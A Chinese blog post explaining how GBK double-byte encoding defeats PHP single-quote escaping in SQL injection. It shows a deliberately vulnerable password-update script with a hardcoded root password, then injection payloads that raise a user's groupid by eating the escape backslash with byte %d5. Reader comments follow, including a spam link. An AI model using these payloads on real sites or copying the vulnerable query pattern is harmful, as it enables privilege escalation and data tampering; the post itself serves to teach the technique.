原理和《利用双字节编码突破PHP单引号转义限制进行SQL注入》 http://www.redicecn.com/view-256.html 是一样的。
<?php // by redice 2010.10.21 // 连接mysql数据库 $conn=0; $conn = mysql_connect("localhost","root","redice2009"); if (!$conn) { die("不能打开数据库连接,错误: " . mysql_error()); } // 选择数据库 mysql_select_db("test", $conn); // 设置mysql数据库输出数据的字符集 mysql_query("set names 'gbk'"); // 修改密码过程 $newpass=$_REQUEST[p]; $sql = "update user set pass='$newpass' where name='redice'"; echo "执行的查询=".$sql."</br>"; if(!mysql_query($sql,$conn)) { echo mysql_error(); } ?>
(1)在gpc=off的情况下。
提交p=123',groupid='1 SQL语句变为:
update user set pass='123',groupid='1' where name='redice'
(2)在gpc=on的情况下。
利用GBK双字节编码,可以绕过单引号转义。
分析如下:
提交p=123%d5',groupid=1 where id=1%23
经浏览器url编码后为:
p=123%d5%27,groupid=1%20where%20id=1%23
再经PHP url解码后为:
p=1230xd50x27,groupid=10x20where0x20id=10x23
再经PHP转义后为(在0x27前插入0x5c):
p=1230xd50x5c0x27,groupid=10x20where0x20id=10x23
由于服务端采用gbk编码连接数据库(set names 'gbk'),因此上述字节序列被MySQL作为GBK字符理解后即为:
p=123誠',groupid=1 where id=1#
PS:0xd50x5c 对应了汉字誠,从而吃掉了单引号,绕过转义
最终SQL语句变为:
update user set pass='123誠',groupid=1 where id=1#' where name='redice'
PS:%23解码后为#,用以注释之后的SQL语句,使之符合语法规范。
附测试程序:
File: Click to Download
呵呵,谢谢
VaTG790i.最好的<a href=http://www.kyfei.com>网站推广软件</a>,
非常好
....................
;ui;普i;uighur;ui;ui;个
在unix网络编程中看到了关于TCP/IP的一些内容,我感觉还是写的不够。正在下载中,一定
下载地址呢